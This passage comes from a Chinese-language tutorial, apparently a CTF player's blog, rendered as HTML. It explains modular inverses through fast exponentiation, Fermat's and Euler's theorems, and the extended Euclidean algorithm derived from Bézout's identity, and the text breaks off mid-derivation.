<span class="token punctuation">(</span>res<span class="token operator">*</span>base<span class="token punctuation">)</span> <span class="token operator">%</span> m<span class="token punctuation">;</span><span class="token punctuation">&#125;</span>    base <span class="token operator">=</span> <span class="token punctuation">(</span>base<span class="token operator">*</span>base<span class="token punctuation">)</span> <span class="token operator">%</span> m<span class="token punctuation">;</span>    exp <span class="token operator">/=</span> <span class="token number">2</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> res<span class="token punctuation">;</span><span class="token punctuation">&#125;</span>ll <span class="token function">invert</span><span class="token punctuation">(</span>ll a<span class="token punctuation">,</span> ll M<span class="token punctuation">)</span><span class="token punctuation">&#123;</span> <span class="token comment">// 僅當M為質數時可用</span>  <span class="token keyword">return</span> <span class="token function">fast_pow</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> M<span class="token operator">-</span><span class="token number">2</span><span class="token punctuation">,</span> M<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>當然，就算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi></mrow><annotation encoding="application/x-tex">M</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span></span></span></span>不是質數，我們還是可以用歐拉定理推出</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>x</mi><mo>≡</mo><msup><mi>a</mi><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><mi>M</mi><mo stretchy="false">)</mo><mo>−</mo><mn>1</mn></mrow></msup><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>M</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">x\equiv a^{\phi(M)-1}\pmod M</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4637em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.938em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.938em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ϕ</span><span class="mopen mtight">(</span><span class="mord mathnormal mtight" style="margin-right:0.109em;">M</span><span class="mclose mtight">)</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span><span class="mclose">)</span></span></span></span></span></p><p>但這等於我們還要先去算出歐拉函數，通常不會比較方便。因此此時較為建議以下方法二。</p><h3 id="%E6%96%B9%E6%B3%95%E4%BA%8C%EF%BC%9A%E6%93%B4%E5%B1%95%E6%AD%90%E5%B9%BE%E9%87%8C%E5%BE%97%E7%AE%97%E6%B3%95" tabindex="-1" id="方法二：擴展歐幾里得算法">方法二：擴展歐幾里得算法</h3><blockquote><p>打CTF也打多久了，怎麼連個擴展歐幾里得都不會寫<br>我也是搞好久才懂</p></blockquote><p>這個演算法十分重要，打Crypto時也會遇到(騙你的，這太基礎了題目大概是不會考這個w)</p><p>我們都知道歐幾里得演算法(也就是輾轉相除法)可以用來求兩數的最大公因數，那擴展歐幾里得算法是拿來幹嘛的呢？<br>貝祖定理告訴我們，對於所有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mo separator="true">,</mo><mi>b</mi><mo>∈</mo><mi mathvariant="double-struck">Z</mi></mrow><annotation encoding="application/x-tex">a,b\in \Z</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6889em;"></span><span class="mord mathbb">Z</span></span></span></span>且<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mi>b</mi><mo mathvariant="normal">≠</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">ab\neq 0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">ab</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mspace nobreak"></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，存在<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo>∈</mo><mi mathvariant="double-struck">Z</mi></mrow><annotation encoding="application/x-tex">x,y\in\Z</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6889em;"></span><span class="mord mathbb">Z</span></span></span></span>使得</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>a</mi><mi>x</mi><mo>+</mo><mi>b</mi><mi>y</mi><mo>=</mo><mi>gcd</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>a</mi><mo separator="true">,</mo><mi>b</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">ax+by=\gcd(a,b)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop"><span style="margin-right:0.0139em;">g</span>cd</span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose">)</span></span></span></span></span></p><p>擴展歐幾里得演算法就是用來找出這組整數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span>的。<br>以下說明用到了遞迴的概念。<br>先將<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi></mrow><annotation encoding="application/x-tex">a</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span>以<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>b</mi></mrow><annotation encoding="application/x-tex">b</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span></span></span></span>除，得到</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>a</mi><mo>=</mo><mi>b</mi><mi>q</mi><mo>+</mo><mi>r</mi><mo>⇒</mo><mi>r</mi><mo>=</mo><mi>a</mi><mo>−</mo><mi>b</mi><mi>q</mi></mrow><annotation encoding="application/x-tex">a=bq+r \Rightarrow r=a-bq</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">r</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⇒</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">r</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal" style="margin-right:0.0359em;">q</span></span></span></span></span></p><p>由輾轉相除法原理，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>gcd</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>a</mi><mo separator="true">,</mo><mi>b</mi><mo stretchy="false">)</mo><mo>=</mo><mi>gcd</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>b</mi><mo separator="true">,</mo><mi>r</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\gcd(a,b)=\gcd(b,r)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop"><span style="margin-right:0.0139em;">g</span>cd</span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop"><span style="margin-right:0.0139em;">g</span>cd</span><span class="mopen">(</span><span class="mord mathnormal">b</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">r</span><span class="mclose">)</span></span></span></span>，令為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>。<br>現在我們想像<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>已寫成<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>b</mi><mo separator="true">,</mo><mi>r</mi></mrow><annotation encoding="application/x-tex">b,r</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">b</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">r</span></span></span></span>的線性組合(貝祖定理)<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>=</mo><mi>b</mi><msup><mi>x</mi><mo mathvariant="normal">′</mo></msup><mo>+</mo><mi>r</mi><msup><mi>y</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">k=bx^\prime+ry^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8352em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">b</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9463em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">r</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>。<br>ㄟ，那不就把<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>r</mi><mo>=</mo><mi>a</mi><mo>−</mo><mi>b</mi><mi>q</mi></mrow><annotation encoding="application/x-tex">r=a-bq</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">r</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal" style="margin-right:0.0359em;">q</span></span></span></span>代入再移項，就能整理成<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mi>x</mi><mo>+</mo><mi>b</mi><mi>y</mi><mo>=</mo><mi>k</mi></mrow><annotation encoding="application/x-tex">ax+by=k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>的樣子了嗎？(注意，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>q</mi></mrow><annotation encoding="application/x-tex">q</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">q</span></span></span></span>是已知數，為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">⌊</mo><mfrac><mi>a</mi><mi>b</mi></mfrac><mo stretchy="false">⌋</mo></mrow><annotation encoding="application/x-tex">\lfloor\frac{a}{b}\rfloor</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.095em;vertical-align:-0.345em;"></span><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">b</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">⌋</span></span></span></span>)如下</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>k</mi><mo>=</mo><mi>b</mi><msup><mi>x</mi><mo mathvariant="normal">′</mo></msup><mo>+</mo><mi>r</mi><msup><mi>y</mi><mo mathvariant="normal">′</mo></msup><mo>=</mo><mi>b</mi><msup><mi>x</mi><mo mathvariant="normal">′</mo></msup><mo>+</mo><mo stretchy="false">(</mo><mi>a</mi><mo>−</mo><mi>b</mi><mi>q</mi><mo stretchy="false">)</mo><msup><mi>y</mi><mo mathvariant="normal">′</mo></msup><mo>=</mo><mi>a</mi><msup><mi>y</mi><mo mathvariant="normal">′</mo></msup><mo>+</mo><mi>b</mi><mo stretchy="false">(</mo><msup><mi>x</mi><mo mathvariant="normal">′</mo></msup><mo>−</mo><mi>q</mi><msup><mi>y</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">k=bx^\prime+ry^\prime=bx^\prime+(a-bq)y^\prime=ay^\prime+b(x^\prime-qy^\prime)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8852em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">b</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9963em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">r</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8852em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">b</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0519em;vertical-align:-0.25em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="mclose">)</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9963em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">a</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0519em;vertical-align:-0.25em;"></span><span class="mord mathnormal">b</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0519em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p>所以我們只要知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>x</mi><mo mathvariant="normal">′</mo></msup><mo separator="true">,</mo><msup><mi>y</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">x^\prime, y^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9463em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>，就能知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>=</mo><msup><mi>y</mi><mo mathvariant="normal">′</mo></msup><mo separator="true">,</mo><mi>y</mi><mo>=</mo><msup><mi>x</mi><mo mathvariant="normal">′</mo></msup><mo>−</mo><mi>q</mi><msup><mi>y</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">x=y^\prime, y=x^\prime-qy^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9463em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8352em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9463em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>，其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>q</mi><mo>=</mo><mo stretchy="false">⌊</mo><mfrac><mi>a</mi><mi>b</mi></mfrac><mo stretchy="false">⌋</mo></mrow><annotation encoding="application/x-tex">q=\lfloor\frac{a}{b}\rfloor</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.095em;vertical-align:-0.345em;"></span><span class="mopen">⌊</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">b</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span 